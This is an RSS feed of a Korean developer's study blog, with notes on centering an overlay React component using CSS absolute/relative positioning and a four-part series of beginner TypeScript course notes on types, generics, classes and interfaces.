<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>mk-cyb.log</title>
        <link>https://velog.io/</link>
        <description>개발/보안 기록용</description>
        <lastBuildDate>Tue, 14 May 2024 06:38:22 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>mk-cyb.log</title>
            <url>https://velog.velcdn.com/images/mk-cyb/profile/1a629581-d7b2-4d80-90a4-72db2f007c7b/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. mk-cyb.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/mk-cyb" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[React / css] component 가운데 정렬 - absolute, relative]]></title>
            <link>https://velog.io/@mk-cyb/React-css-component-%EA%B0%80%EC%9A%B4%EB%8D%B0-%EC%A0%95%EB%A0%AC-absolute-relative</link>
            <guid>https://velog.io/@mk-cyb/React-css-component-%EA%B0%80%EC%9A%B4%EB%8D%B0-%EC%A0%95%EB%A0%AC-absolute-relative</guid>
            <pubDate>Tue, 14 May 2024 06:38:22 GMT</pubDate>
            <description><![CDATA[<p>component를 부모의 부모의 요소에 가운데 정렬하고 싶을때! (위에 덮어 씌우면서)
-&gt; absolute를 적용하면 된다.</p>
<h1 id="absolute-후-부모-요소에-relative-설정">absolute 후 부모 요소에 relative 설정</h1>
<pre><code class="language-css">.QuizBox_wrapper{
    width: 100%; 
    max-width: 500px;
    position: relative; /* 부모 요소를 position: relative;로 설정 */
}
.HintBox_overlay,.AnsBox_overlay {
    position:absolute;
    width: 100%;
    height: 100%;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 1; /* 다른 요소들보다 위에 올라가도록 설정 */
  }</code></pre>
<p>-&gt; 우선 quiz box wrapper를 만들어서 부모의 부모요소와 같은 css 설정을 주고 relative를 설정함
그다음 overlay 코드에 absolute를 적용해서 위를 가릴 수 있도록 설정</p>
<h1 id="결과">결과</h1>
<h2 id="전">전</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/428d4a54-d73f-4058-8c88-9830e59af5fc/image.png" alt=""></p>
<h2 id="후">후</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/fc373393-e4ea-4581-8315-73d8ccea7442/image.png" alt=""></p>
<p>이런 식으로 부모를 가리는 컴포넌트 오버레이 설정</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[타입스크립트] 타입스크립트로 블록체인 만들기 (4)]]></title>
            <link>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-3-c5dbgi0g</link>
            <guid>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-3-c5dbgi0g</guid>
            <pubDate>Sun, 28 Jan 2024 17:48:19 GMT</pubDate>
            <description><![CDATA[<h1 id="4장-classes-and-interfaces">4장 CLASSES AND INTERFACES</h1>
<h2 id="41-recap">4.1 Recap</h2>
<p>class를 사용할 때 typescript와 javascript의 차이점</p>
<ul>
<li>protected, public, private 사용</li>
<li>this 안써줘도 됨</li>
<li>constructor 만들 때 접근제어자, 이름, 타입 써주기</li>
<li>추상 클래스<ul>
<li>추상 클래스 상속받으면 추상 클래스에서 구현한 함수 사용 가능</li>
</ul>
</li>
<li>추상 메소드<ul>
<li>구현이 되어있지 않고 call signature만 가지고 있음</li>
<li>추상 클래스를 상속받는 클래스에서 구현을 해야함</li>
</ul>
</li>
</ul>
<h3 id="hash-map">Hash Map</h3>
<p>사전에 새 단어 추가, 단어 찾기, 단어 삭제 메소드</p>
<pre><code class="language-TS">type Words = {
    [key:string]: string
}

class Dict {
    private words: Words
}</code></pre>
<p>object의 Type을 선언해야할 때 씀
이 object는 제한된 양의 property만을 가질 수 있다
property의 이름은 모르지만 타입을 알 때 사용</p>
<pre><code class="language-ts">type Words = {
    [key:string]: string
}

class Dict {
    private words: Words
    constructor(){ // constructor에서 수동으로 초기화
        this.words = {}
    }
    add(word:Word){
        if(this.words[word.term] === undefined){ // 사전에 단어가 존재하지 않으면
            this.words[word.term] = word.def
        }
    }
    def(term:string){
        return this.words[term]
    }
}

class Word {
    constructor(
        public term:string,
        public def: string
    ){}
}

const kimchi = new Word(&quot;kimchi&quot;,&quot;배추김치&quot;)

const dict = new Dict()

dict.add(kimchi)
dict.def(&quot;kimchi&quot;)</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/2f58cd0a-1f2b-4dd8-97b6-b6c4e2783f71/image.png" alt=""></p>
<ol>
<li><code>[key: string]: string</code> 키, 값 쌍</li>
<li><code>private words: Words
 constructor(){</code> property가 constructor로부터 바로 초기화되지 않는 부분</li>
<li><code>add(word:Word)</code> class를 type처럼 사용할 수 있다.</li>
</ol>
<h2 id="42-interfaces">4.2 Interfaces</h2>
<p>public이면서 맘대로 변경할수는 없도록 하려면 property를 readonly로</p>
<pre><code class="language-ts">class Word {
    constructor(
        public readonly term:string,
        public readonly def: string
    ){}
}</code></pre>
<p>readonly는 js에서 보이지않음</p>
<p><strong>static</strong>
static은 js에도 있는거</p>
<h3 id="interfaces">Interfaces</h3>
<p>type 지정</p>
<pre><code class="language-ts">type Nickname = string // 이렇게 alias로 사용 가능
type Health = number
type Friends = Array&lt;string&gt; // stirng[]
type Player = {
    nickname: Nickname,
    healthBar: Health
}</code></pre>
<p>type을 지정된 옵션으로만 제한 가능</p>
<pre><code class="language-ts">type Team = &quot;red&quot; | &quot;blue&quot; | &quot;yellow&quot;
type Health = 1 | 5 | 10

type Player = {
    nickname:string,
    team: Team,
    health: Health
}

const mk: Player = {
    nickname:&quot;mk&quot;,
    team: &quot;blue&quot;,
    health: 10
}</code></pre>
<p>오브젝트의 모양을 설명하는 다른 방법인 인터페이스
인터페이스는 오직 한가지 용도만을 가지고 있음</p>
<ul>
<li><strong>오브젝트의 모양을 특정,설명해주는 것</strong><pre><code class="language-ts">type Team = &quot;red&quot; | &quot;blue&quot; | &quot;yellow&quot;
type Health = 1 | 5 | 10
</code></pre>
</li>
</ul>
<p>interface Player {
    nickname:string,
    team: Team,
    health: Health
}</p>
<p>const mk: Player = {
    nickname:&quot;mk&quot;,
    team: &quot;blue&quot;,
    health: 10
}</p>
<pre><code>type 키워드는 interface보다 더 다양한 목적으로 활용 가능
- 오브젝트 모양 정의
- 특정 값으로 제한
- alias 만들기

```ts
interface User {
    name: string
}

interface Player extends User {
}

const mk: Player = {
    name: &quot;mk&quot;
}</code></pre><p>인터페이스는 클래스와 닮았음
객체지향프로그래밍 방식 유사</p>
<pre><code class="language-ts">type User = {
    name: string
}

type Player = User &amp; {
}

const mk: Player = {
    name: &quot;mk&quot;
}</code></pre>
<p>같은 코드를 type 방식으로 작성한 코드
interface 방식이 더 편리하고 직관적임</p>
<p>interface는 property를 축적시킬 수 있음</p>
<pre><code class="language-ts">interface User {
    name: string
}
interface User {
    lastname: string
}
interface User {
    health: number
}

const mk: User ={
    name:&#39;mk&#39;,
    lastname:&#39;cyb&#39;,
    health:10
}</code></pre>
<p>type으로는 이렇게 여러번 만드는거 할 수 없음
<img src="https://velog.velcdn.com/images/mk-cyb/post/6c31b596-41c8-45d8-abef-ed4526d8282c/image.png" alt=""></p>
<p>interface는 같은 인터페이스에 다른 이름을 가진 property들을 쌓을 수 있음</p>
<h2 id="43-interfaces-part-two">4.3 Interfaces part Two</h2>
<p><strong>abstract class를 사용하는 이유</strong>
다른 클래스들이 표준화된 property와 메소드를 갖도록 해주는 청사진을 만들기 위해 추상클래스를 사용</p>
<p>abstract class를 컴파일하면 그냥 class가 됨
interface 를 컴파일하면 사라짐 &gt;&gt; interface는 가벼움</p>
<h3 id="abstract-class를-interface로-바꾸기">abstract class를 interface로 바꾸기</h3>
<p>인터페이스는 오브젝트나 클래스의 모양을 묘사하도록 해줌
인터페이스를 클래스가 쓸 때는 extends 대신 <strong>implements</strong> 를 써줘야함
<strong>implements</strong>는 js에 없는 문법</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/24791a6c-f59f-4244-8aff-cd1798b7d2b1/image.png" alt=""></p>
<p>컴파일되면 인터페이스는 사라지므로 코드가 엄청 가벼워짐</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/e29f3efc-211a-45e0-8aba-58bcaa5303dc/image.png" alt=""></p>
<p>인터페이스 사용해서 클래스가 원하는대로 행동하고 원하는 property를 가지도록 강제할수 있게됨</p>
<pre><code class="language-ts">interface User {
    firstName:string,
    lastName:string,
    sayHi(name:string):string,
    fullName():string
}
class Player implements User {
    constructor(
        public firstName:string,
        public lastName:string,
    ){}
    fullName(){
        return `${this.firstName} ${this.lastName}`
    }
    sayHi(name:string){
        return `Hello ${name}. My name is ${this.fullName()}`
    }
}</code></pre>
<p>interface를 상속할 때는 property가 private, protected가 될 수 없음 무조건 public만 가능
파일 사이즈 줄이고 싶으면 인터페이스 사용
interface에서는 constructor 사용할 수 없음</p>
<pre><code class="language-ts">interface Human{
    health: number
}
...
class Player implements User,Human {
    constructor(
        public firstName:string,
        public lastName:string,
        public health:number
    ){}
...
}</code></pre>
<p>여러 개의 interface 상속 가능</p>
<h3 id="interface-타입-지정-가능">interface 타입 지정 가능</h3>
<pre><code class="language-ts">function makeUser(user: User): User{
    return {
        firstName:&quot;aa&quot;,
        lastName:&quot;bb&quot;,
        fullName: () =&gt; &quot;xx&quot;,
        sayHi: (name: string) =&gt; &quot;yy&quot;
    }
}

makeUser({
    firstName:&quot;aa&quot;,
    lastName:&quot;bb&quot;,
    fullName: () =&gt; &quot;xx&quot;,
    sayHi: (name: string) =&gt; &quot;yy&quot;
})</code></pre>
<p>interface를 argument type으로 지정하거나 return type으로 지정할 수 있음
return 할 땐 new 안쓰고 그냥 objec로 return 해주면 됨</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[타입스크립트] 타입스크립트로 블록체인 만들기 (3)]]></title>
            <link>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-3</link>
            <guid>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-3</guid>
            <pubDate>Sat, 27 Jan 2024 20:06:08 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><a href="https://nomadcoders.co/typescript-for-beginners">https://nomadcoders.co/typescript-for-beginners</a></p>
</blockquote>
<h1 id="3장-functions">3장 FUNCTIONS</h1>
<h2 id="32-polymorphism">3.2 Polymorphism</h2>
<p>다형성(Polymorphism): 여러가지 다른 구조들</p>
<p><strong>배열을 받아 타입에 상관없이 요소를 하나씩 출력해주는 함수</strong>
call signature 만들고 함수 만들기</p>
<p><strong>polymorphism 사용 x</strong></p>
<pre><code class="language-ts">type SuperPrint = {
    (arr: number[]):void
    (arr: boolean[]):void
    (arr: string[]):void
}

const superPrint: SuperPrint = (arr) =&gt; {
    arr.forEach(i =&gt; console.log(i))
}</code></pre>
<p>concrete type: 전부터 봐왔던 타입 (number, boolean, string, void, unknown)
generic: 타입의 placeholder 같은 것, concrete type 대신 사용 가능</p>
<p><strong>generic 사용</strong></p>
<ol>
<li>ts에 generic을 사용한다고 알려줌</li>
<li>꺽쇠열고 원하는대로 제네릭 이름을 넣어줌</li>
<li>number (concrete type)을 generic 이름으로 바꿔줌<pre><code class="language-ts">type SuperPrint = {
 &lt;TypePlaceholder&gt;(arr: TypePlaceholder[]):void
</code></pre>
</li>
</ol>
<p>}</p>
<p>const superPrint: SuperPrint = (arr) =&gt; {
    arr.forEach(i =&gt; console.log(i))
}</p>
<pre><code>return 도 generic 사용 가능
```ts
type SuperPrint = {
    &lt;TypePlaceholder&gt;(arr: TypePlaceholder[]):TypePlaceholder

}

const superPrint: SuperPrint = (arr) =&gt; arr[0]</code></pre><p>이렇게 함수가 다양한 형태를 가지고 있는 것을 <strong>polymorphism</strong>이라고 함
타입스크립트가 타입을 유추하고 call signature로 바꿔줌</p>
<h2 id="33-generics-recap">3.3 Generics Recap</h2>
<p>generic 대신 any를 쓰면 d.toUpperCase() 이런걸 하면 오류가 남
generic을 써야 ts가 call signature를 만들어줘서 사전에 오류를 잡아줌</p>
<p><strong>generic 2개 사용하기</strong>
ts는 generic이 처음 사용되는 지점을 기반으로 타입이 뭔지 알게 됨</p>
<pre><code class="language-ts">type SuperPrint = &lt;T,M&gt;(a: T[], b: M) =&gt; T
const superPrint: SuperPrint = (arr) =&gt; arr[0]</code></pre>
<h2 id="34-conclusions">3.4 Conclusions</h2>
<p>사용 사례</p>
<ol>
<li>함수 만들기<pre><code class="language-ts">function superPrint&lt;V&gt;(a: V[]){
 return a[0]
}
</code></pre>
</li>
</ol>
<p>const a = superPrint([1,2,3,4])</p>
<pre><code>2. 타입 생성하기, 타입 확장하기

```ts
type Player&lt;E&gt; = {
    name: string
    extraInfo:E
}
type MkExtra = {
    favFood:string
}
type MkPlayer = Player&lt;MkExtra&gt;

const mk: MkPlayer = { // const mk: Player&lt;{favFood:string}&gt;
    name: &quot;mkcyb&quot;,
    extraInfo: {
        favFood: &quot;hamburger&quot;
    }
}

const lynn: Player&lt;null&gt; = {
    name: &quot;lynn&quot;,
    extraInfo:null
}</code></pre><ol start="3">
<li>대부분의 기본적인 타입스크립트 타입은 generic</li>
</ol>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/19b187bd-0d93-4d2d-b01a-dce0ebe72d47/image.png" alt="">
Array를 생성하는데 제네릭을 받고 있음</p>
<pre><code class="language-ts">type A = Array&lt;number&gt;

let a:A = [1,2,3,4]</code></pre>
<pre><code class="language-ts">function printAllNumbers(arr: Array&lt;number&gt;){ // number[]의 generic 사용 표현

}</code></pre>
<p>패키지나 라이브러리에 제네릭을 사용한 타입이 지정된 함수 많이 사용됨</p>
<h1 id="4장-classes-and-interfaces">4장 CLASSES AND INTERFACES</h1>
<h2 id="40-classes">4.0 Classes</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/40db6549-e36c-4b12-a0f9-e8331375c2b9/image.png" alt="">
<strong>차이점</strong>
this.firstName 이렇게 안적어도 컴파일러가 변환해줌
private 부분이 JavaScript에서는 보이지 않음</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/1ae43a30-2770-42a2-8fb5-03e9f42acf3b/image.png" alt="">
ts 에서는 private으로 지정한 것을 사용할 수 없음
js는 아무 문제없이 작동</p>
<h3 id="추상-클래스">추상 클래스</h3>
<p>추상클래스는 다른 클래스가 상속받을 수 있는 클래스
하지만 직접 새로운 인스턴스를 만들 수는 없음
<img src="https://velog.velcdn.com/images/mk-cyb/post/b9a507af-6ffe-4cf2-afe3-c197bccea5d8/image.png" alt=""></p>
<pre><code class="language-ts">abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        public nickname: string,
    ) {}
}
class Player extends User{

}

const mk = new Player(&quot;mk&quot;,&quot;cyb&quot;,&quot;yoz&quot;);

const mk2 = new User(&quot;mk&quot;,&quot;cyb&quot;,&quot;yoz&quot;);</code></pre>
<p><strong>추상클래스 안의 메소드</strong></p>
<pre><code class="language-ts">abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        public nickname: string,
    ) {}
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{

}

const mk = new Player(&quot;mk&quot;,&quot;cyb&quot;,&quot;yoz&quot;);

mk.getFullName()</code></pre>
<p>Player는 User로부터 이 메소드를 상속받았으므로 메소드를 그냥 쓸 수 있음
public, private은 property 뿐 아니라 method에서도 작동함</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/c4380800-a694-418a-90aa-c76478fb5fec/image.png" alt=""></p>
<p>컴파일된 js 코드를 보면 abstract이 없음</p>
<p><strong>추상 메소드 (abstract method)</strong>
추상 메소드는 메소드를 구현하면 안되고 메소드의 call signature만 적어야 함
추상 메소드는 추상 클래스를 상속받는 모든 것들이 구현해야하는 메소드를 의미</p>
<pre><code class="language-ts">abstract class User {
    constructor(
        private firstName: string,
        private lastName: string,
        private nickname: string,
    ) {}
    abstract getNickName(): void
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{

}

const mk = new Player(&quot;mk&quot;,&quot;cyb&quot;,&quot;yoz&quot;);

mk.getFullName()</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/05def366-cc8a-4afc-8199-3d84c141b254/image.png" alt=""></p>
<p>상속받고 구현하지 않으면 구현해야한다고 위처럼 알려줌</p>
<p>private 으로 지정된 property들은 인스턴스 밖에서 접근할 수 없고 다른 자식 클래스에서도 접근할 수 없음
외부로부터 보호되지만 자식 클래스가 쓸 수 있게하려면 private 대신 protected를 써야함</p>
<pre><code class="language-ts">abstract class User {
    constructor(
        protected firstName: string,
        protected lastName: string,
        protected nickname: string,
    ) {}
    abstract getNickName(): void
    getFullName(){
        return `${this.firstName} ${this.lastName}`
    }
}
class Player extends User{
    getNickName(){
        console.log(this.nickname) // protected 상속 받아서 접근 가능
    }
}

const mk = new Player(&quot;mk&quot;,&quot;cyb&quot;,&quot;yoz&quot;);

mk.getFullName()
mk.firstName // protected 외부에서 접근 불가로 에러</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[타입스크립트] 타입스크립트로 블록체인 만들기 (2)]]></title>
            <link>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-2</link>
            <guid>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-2</guid>
            <pubDate>Thu, 25 Jan 2024 15:22:30 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><a href="https://nomadcoders.co/typescript-for-beginners">https://nomadcoders.co/typescript-for-beginners</a></p>
</blockquote>
<h1 id="2장-overview-of-typescript">2장 Overview of TypeScript</h1>
<h2 id="23-types-of-ts-part-two">2.3 Types of TS part Two</h2>
<h3 id="readonly-type">readonly type</h3>
<p>읽기 전용으로 만들어줌</p>
<pre><code class="language-ts">type Player = {
    readonly name: string, // 변수명 앞에 붙여줌
    age?:number
}

const playerMaker = (name: string) : Player =&gt; ({name})

const mk = playerMaker(&quot;mk&quot;)

mk.age=10
mk.name = &quot;las&quot; // readonly 이므로 에러 뜸</code></pre>
<pre><code class="language-ts">const names: readonly string[] = [&quot;1&quot;, &quot;2&quot;]</code></pre>
<h3 id="tuple">Tuple</h3>
<p>Tuple 은 array를 생성할 수 있게 해줌
최소 길이가 있고 특정 위치에 특정 타입이 있어야 함
항상 정해진 개수의 요소를 가져야하는 array를 지정할 수 있다.
원하는 순서에 맞는 타입을 가져야 함.</p>
<pre><code class="language-ts">const player: [string, number, boolean] = [&#39;mk&#39;, 1, true]
player[0] = 1 // 첫 번째 index는 항상 string 이어야 하기 때문에 에러 뜸
const player2: readonly [string, number, boolean] = [&#39;mk&#39;, 1, true] // readonly로 할 수 도 있음</code></pre>
<h3 id="js도-갖고있는-다른-type들">JS도 갖고있는 다른 type들</h3>
<p><strong>undefined</strong> : optional type은 undefined일 수 있음
<strong>null</strong>
<strong>any</strong> : 비어있는 값들의 기본값, any는 typescript를 빠져나오고 싶을 때 쓰는 문법. 아무 타입이나 될 수 있음</p>
<pre><code class="language-ts">const a : any[] = [1,2,3,4]
const b : any = true

a + b // any 로 타입을 지정해서 에러 뜨지 않음</code></pre>
<h3 id="독특한-typescript-type들">독특한 typescript type들</h3>
<p>TS에서만 존재
<strong>unknown</strong>
확인하는 작업을 해야함
변수의 타입을 미리 알지 못할 때 unknown 사용</p>
<pre><code class="language-ts">let a: unknown

if(typeof a === &#39;number&#39;){ // 확인 안하면 에러 뜸, 이 범위 안에서는 a 가 number
    let b = a+1
}</code></pre>
<p><strong>void</strong>
아무것도 return하지 않는 함수를 대상으로 사용
보통 void를 따로 지정해줄 필요는 없음. ts가 자동으로 아무것도 return 하지 않는걸 인식</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/57c5fddd-a40c-41d9-82b6-1ac245f6d069/image.png" alt=""></p>
<p><strong>never</strong>
never은 함수가 절대 return하지 않을 때 발생</p>
<pre><code class="language-ts">function hello():never{
    throw new Error(&quot;xxx&quot;) // return 하지 않고 오류를 발생시키는 함수
}</code></pre>
<p>type이 두가지인 상황에 발생 가능</p>
<pre><code class="language-ts">function hello(name:string|number){
    if(typeof name === &quot;string&quot;){
        name // string
    } else if (typeof name === &quot;number&quot;){
        name // number
    } else {
        name // never
    }
}</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/28ce0d08-2685-42ad-812b-1a5583a94085/image.png" alt=""></p>
<h1 id="3장-functions">3장 FUNCTIONS</h1>
<h2 id="30-call-signatures">3.0 Call Signatures</h2>
<p>인자의 타입과 반환 타입을 알려줌
함수 위에 올리면 뜨는거
<img src="https://velog.velcdn.com/images/mk-cyb/post/0cfd1b93-1b26-4668-ad63-37b06e1dde94/image.png" alt=""></p>
<p>이걸 이용해 함수를 구현하기 전 type을 만들어 주고 함수가 어떻게 작동하는지 서술해줄 수 있음</p>
<pre><code class="language-ts">type Add = (a:number, b:number) =&gt; number; 

const add:Add = (a,b) =&gt; a+b // 함수의 타입을 알려주면 타입 지정해줄 필요 없음 call signature를 알아서</code></pre>
<p>reactjs를 쓸 때 props로 함수를 보내게 되면 타입스크립트한테 함수가 어떻게 작동하는지 설명해줘야한다.
이 때 이걸 많이 씀
구현할 때 타입을 먼저 생각하고 작성</p>
<h2 id="31-overloading">3.1 Overloading</h2>
<p>패키지나 라이브러리에서 오버로딩 많이 사용해서 중요함
오버로딩은 여러개의 call signatures를 가지고 있을 때 발생함</p>
<pre><code class="language-ts">type Add = {
    (a:number, b:number) : number
    (a:number, b:string) : number

}

const add:Add = (a,b) =&gt; {
    if(typeof b === &quot;string&quot;) return a
    return a+b
}</code></pre>
<h3 id="overloading-활용-push-구현">overloading 활용 push 구현</h3>
<pre><code class="language-ts">type Config = {
    path: string,
    state: object
}
type Push = {
    (path:string):void
    (config: Config):void
}

const push: Push = (config) =&gt; {
    if(typeof config === &quot;string&quot;) console.log(config) // config는 string 타입
    else{
        console.log(config.path) // config는 Config 타입
    }
}</code></pre>
<h3 id="인자의-수가-다를-때-overloading">인자의 수가 다를 때 overloading</h3>
<pre><code class="language-ts">type Add = {
    (a:number,b:number):number,
    (a: number, b: number, c: number): number,
}

const add: Add = (a,b,c) =&gt; {
    return a+b+c
}</code></pre>
<p>이런 식으로 쓰면 안됨</p>
<blockquote>
<p>Type &#39;(a: number, b: number, c: number) =&gt; number&#39; is not assignable to type &#39;Add&#39;.
  Target signature provides too few arguments. Expected 3 or more, but got 2.</p>
</blockquote>
<p> 이런 오류 뜸</p>
<p><strong>수정 코드</strong></p>
<pre><code class="language-ts">type Add = {
    (a:number,b:number):number,
    (a: number, b: number, c: number): number,
}

const add: Add = (a,b,c?:number) =&gt; { // optional임을 알려줘야함
    if(c) return a+b+c
    return a+b
}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[타입스크립트] 타입스크립트로 블록체인 만들기 (1)]]></title>
            <link>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-1</link>
            <guid>https://velog.io/@mk-cyb/%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A1%9C-%EB%B8%94%EB%A1%9D%EC%B2%B4%EC%9D%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-1</guid>
            <pubDate>Wed, 24 Jan 2024 19:11:36 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><a href="https://nomadcoders.co/typescript-for-beginners">https://nomadcoders.co/typescript-for-beginners</a></p>
</blockquote>
<h1 id="1장-introduction">1장 Introduction</h1>
<h2 id="15-why-not-javascript">1.5 Why not JavaScript</h2>
<p>자바스크립트에서 점점 타입스크립트로 넘어가는 이유
<strong>안전성</strong>, 즉 <strong>타입 안전성</strong> 때문. 버그가 많이 줄어듦
자바스크립트: flexible 함. 런타임 에러 발생
타입스크립트는 이런 것을 방지해줌
ex) 배열 + boolean 허용 x, 인자가 2개 필요한 함수에 하나만 전달 했을 때 실행 x, 없는 함수 실행 x</p>
<h1 id="2장-overview-of-typescript">2장 Overview of TypeScript</h1>
<h2 id="20-how-typescript-works">2.0 How Typescript Works</h2>
<p>타입스크립트 코드는 컴파일러가 자바스크립트로 변환해줌
브라우저는 자바스크립트를 이해하기 때문
타입 스크립트가 개발자를 보호하는 방법: 보호장치는 타입스크립트가 자바스크립트로 변환되기 전 발생
타입스크립트 코드에 에러가 있으면 코드는 자바스크립트로 컴파일되지 않음</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/aa89f4f9-b7f7-4f74-b331-8d9cac7fa6d0/image.png" alt=""></p>
<p>타입스크립트로 작성된 잘못된 코드를 보면, 런타임 전에 미리 개발자에게 hello() 가 없다고 경고해줌</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/f6c46fd4-2343-41b0-aea9-2c5af3a9c9f6/image.png" alt=""></p>
<blockquote>
<p>Operator &#39;+&#39; cannot be applied to types &#39;number[]&#39; and &#39;boolean&#39;.</p>
</blockquote>
<p>위와 같은 에러메세지 확인 가능. 이는 이전 자바스크립트에서는 그냥 실행 됐던 에러임.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/440c861f-ab7c-4988-9934-d80667a15753/image.png" alt=""></p>
<p>divide 함수가 2개의 인자가 필요하기 때문에 에러가 뜸. 이런 보호장치가 생기는 이유는 <strong>타입 추론</strong> 때문.</p>
<h2 id="21-implicit-types-vs-explicit-types">2.1 Implicit Types vs Explicit Types</h2>
<p>자바스크립트: 변수의 타입을 지정하지 않고 그냥 만듦
타입스크립트: 두가지 방식을 결합. </p>
<ol>
<li>데이터와 변수의 타입을 명시적으로 정의, 명시적 표현은 최소한으로 사용하는게 좋음<pre><code class="language-ts">// Explicit Types
let a : boolean = &quot;x&quot; // boolean이 아니기 때문에 error 
//이때 &quot;: boolean&quot; 이 문법이 typescript의 문법
let b : boolean = false
let c : number[] = [] // 배열의 값이 없을 때는 추론할 수 없으니 명시적으로 써줌</code></pre>
</li>
<li>javascript처럼 변수만 생성하고 넘어갈 수 있음. Typescript가 타입 추론을 해줌</li>
</ol>
<pre><code class="language-ts">// Implicit Types
let a = &quot;hello&quot; // ts가 type을 string 이라고 추론해줌
a = &quot;bye&quot; // string을 string으로 바꾸었기 때문에 error x
a = 1 // string을 number 로 바꿔서 error o</code></pre>
<h2 id="22-types-of-ts-part-one">2.2 Types of TS part One</h2>
<p><strong>타입종류</strong>
number, string, boolean, array</p>
<p><strong>문법</strong>
: 타입명</p>
<pre><code class="language-ts">let a : number = 1;
let b : string = &quot;i1&quot;;
let c : boolean = true;

// 각 타입의 array -&gt; 옆에 대괄호 붙여주면 됨
let a1 : number[] = [1];
let b1 : string[] = [&quot;i1&quot;];
let c1 : boolean[] = [true];</code></pre>
<h3 id="optional-type">optional type</h3>
<p>선택적 변수
어떤 객체에 변수가 있을 수 도 있고 없을 수 도 있을때, 변수 타입을 명시할 때 옆에 물음표를 붙여준다.</p>
<pre><code class="language-ts">const player : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: &quot;mkcyb&quot;
}</code></pre>
<p>위의 코드는 player 객체에는 두 가지 변수가 있는데, name은 string이고 age는 number면서 optional임을 명시적으로 알려주는 코드이다.</p>
<h3 id="alias별칭-type">alias(별칭) type</h3>
<p>더 적은 코드를 쓸 수 있게 해줌
시작은 대문자로 시작
object 뿐 아니라 string, number등등 다른 타입도 모두 가능</p>
